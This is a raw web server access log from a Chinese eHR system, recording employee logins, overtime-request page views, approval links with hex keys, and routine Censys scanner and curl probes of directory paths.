100.64.0.1 - - [05/Sep/2025:09:00:39 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1132673C6F857F9E1B6DD18AD0DB631F39BA364BD79DC55810143B982481ADB8EDD45C96AAFE76C9BA772159C89ED391CA1EBA6471E3F66E9" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.64 - - [05/Sep/2025:09:00:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:00:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.11.64 - - [05/Sep/2025:09:01:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 17411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:01:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 17411
192.168.11.64 - - [05/Sep/2025:09:01:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=131080 HTTP/1.1" 200 5331 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:01:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&requestno=131080 HTTP/1.1" 200 5331
192.168.11.64 - - [05/Sep/2025:09:01:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131080&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 22029
192.168.11.64 - - [05/Sep/2025:09:01:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131080&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 22029 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&requestno=131080" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:02:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493
192.168.11.64 - - [05/Sep/2025:09:02:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:02:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 84176 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [05/Sep/2025:09:02:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 84176
192.168.12.33 - - [05/Sep/2025:09:03:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.12.33 - - [05/Sep/2025:09:03:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:09:03:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.33 - - [05/Sep/2025:09:03:44 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:09:03:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:09:03:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.33 - - [05/Sep/2025:09:03:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.33 - - [05/Sep/2025:09:03:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:09:03:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.33 - - [05/Sep/2025:09:03:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
100.64.0.1 - - [05/Sep/2025:09:07:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [05/Sep/2025:09:07:18 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)"
100.64.0.1 - - [05/Sep/2025:09:08:53 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1B1FD1B5DE12A8A054B510BA1B44AF6CA5AD79A194F855076D998BEC560B3C0E38739154274E21B364A69B8D0CA7D66BC87C2510517BC3500 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [05/Sep/2025:09:08:53 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1B1FD1B5DE12A8A054B510BA1B44AF6CA5AD79A194F855076D998BEC560B3C0E38739154274E21B364A69B8D0CA7D66BC87C2510517BC3500 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:09:08:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:08:54 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Linux; U; Android 5.1; zh-CN; OPPO R9m Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/11.8.8.968 UWS/2.13.1.8 Mobile Safari/537.36 AliApp(TB/7.7.0) UCBS/2.11.1.1 WindVane/8.3.0 1080X1920"
100.64.0.1 - - [05/Sep/2025:09:08:54 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1B1FD1B5DE12A8A054B510BA1B44AF6CA5AD79A194F855076D998BEC560B3C0E38739154274E21B364A69B8D0CA7D66BC87C2510517BC3500 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:09:08:54 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1B1FD1B5DE12A8A054B510BA1B44AF6CA5AD79A194F855076D998BEC560B3C0E38739154274E21B364A69B8D0CA7D66BC87C2510517BC3500 HTTP/1.1" 200 4166
100.64.0.1 - - [05/Sep/2025:09:08:54 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
100.64.0.1 - - [05/Sep/2025:09:08:54 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1B1FD1B5DE12A8A054B510BA1B44AF6CA5AD79A194F855076D998BEC560B3C0E38739154274E21B364A69B8D0CA7D66BC87C2510517BC3500" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [05/Sep/2025:09:08:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:08:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:09:32 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:09:32 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27"
100.64.0.1 - - [05/Sep/2025:09:12:36 +0800] "GET / HTTP/1.1" 200 439 "-" "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)"
100.64.0.1 - - [05/Sep/2025:09:12:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:12:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:12:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:13:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:13:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:15:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:15:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:16:11 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:11 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:16:12 +0800] "GET /eHR HTTP/1.1" 301 239
100.64.0.1 - - [05/Sep/2025:09:16:12 +0800] "GET /eHR HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:13 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [05/Sep/2025:09:16:13 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:14 +0800] "GET /eHRTEST HTTP/1.1" 301 243
100.64.0.1 - - [05/Sep/2025:09:16:14 +0800] "GET /eHRTEST HTTP/1.1" 301 243 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:14 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [05/Sep/2025:09:16:14 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHRTEST" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:15 +0800] "GET /eHR1 HTTP/1.1" 301 240
100.64.0.1 - - [05/Sep/2025:09:16:15 +0800] "GET /eHR1 HTTP/1.1" 301 240 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:16 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:16 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [05/Sep/2025:09:16:16 +0800] "GET /idcard HTTP/1.1" 301 242
100.64.0.1 - - [05/Sep/2025:09:16:16 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:17 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [05/Sep/2025:09:16:17 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:18 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266
100.64.0.1 - - [05/Sep/2025:09:16:18 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:18 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [05/Sep/2025:09:16:18 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 283
100.64.0.1 - - [05/Sep/2025:09:16:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217
100.64.0.1 - - [05/Sep/2025:09:16:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290
100.64.0.1 - - [05/Sep/2025:09:16:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526
100.64.0.1 - - [05/Sep/2025:09:16:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298
100.64.0.1 - - [05/Sep/2025:09:16:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 298 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525
100.64.0.1 - - [05/Sep/2025:09:16:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302
100.64.0.1 - - [05/Sep/2025:09:16:24 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 302 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771
100.64.0.1 - - [05/Sep/2025:09:16:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295
100.64.0.1 - - [05/Sep/2025:09:16:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 295 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813
100.64.0.1 - - [05/Sep/2025:09:16:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287
100.64.0.1 - - [05/Sep/2025:09:16:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392
100.64.0.1 - - [05/Sep/2025:09:16:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287
100.64.0.1 - - [05/Sep/2025:09:16:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780
100.64.0.1 - - [05/Sep/2025:09:16:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://202.111.43.170:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288
100.64.0.1 - - [05/Sep/2025:09:16:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 288 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:16:43 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [05/Sep/2025:09:16:43 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [05/Sep/2025:09:17:39 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:09:17:39 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:09:17:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:17:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:09:34:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:34:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:34:43 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:09:34:43 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:09:34:44 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [05/Sep/2025:09:34:44 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [05/Sep/2025:09:36:31 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:36:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:40:49 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 -
100.64.0.1 - - [05/Sep/2025:09:40:49 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 - "-" "-"
192.168.185.139 - - [05/Sep/2025:09:40:51 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 4163 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.185.139 - - [05/Sep/2025:09:40:51 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167 HTTP/1.1" 200 4163
192.168.185.139 - - [05/Sep/2025:09:40:52 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240
192.168.185.139 - - [05/Sep/2025:09:40:52 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA172A34B897767CB82F2A10AFD554F4BDFE3899A6DAC59EB785E3C7C0566324707AB8949040DFFBCBB53BBCEB5281B79B216E16F63DC676167" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.39 - - [05/Sep/2025:09:42:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:09:42:01 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [05/Sep/2025:09:42:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:09:42:04 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:09:42:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:09:42:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [05/Sep/2025:09:42:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550
192.168.40.39 - - [05/Sep/2025:09:42:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10550 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
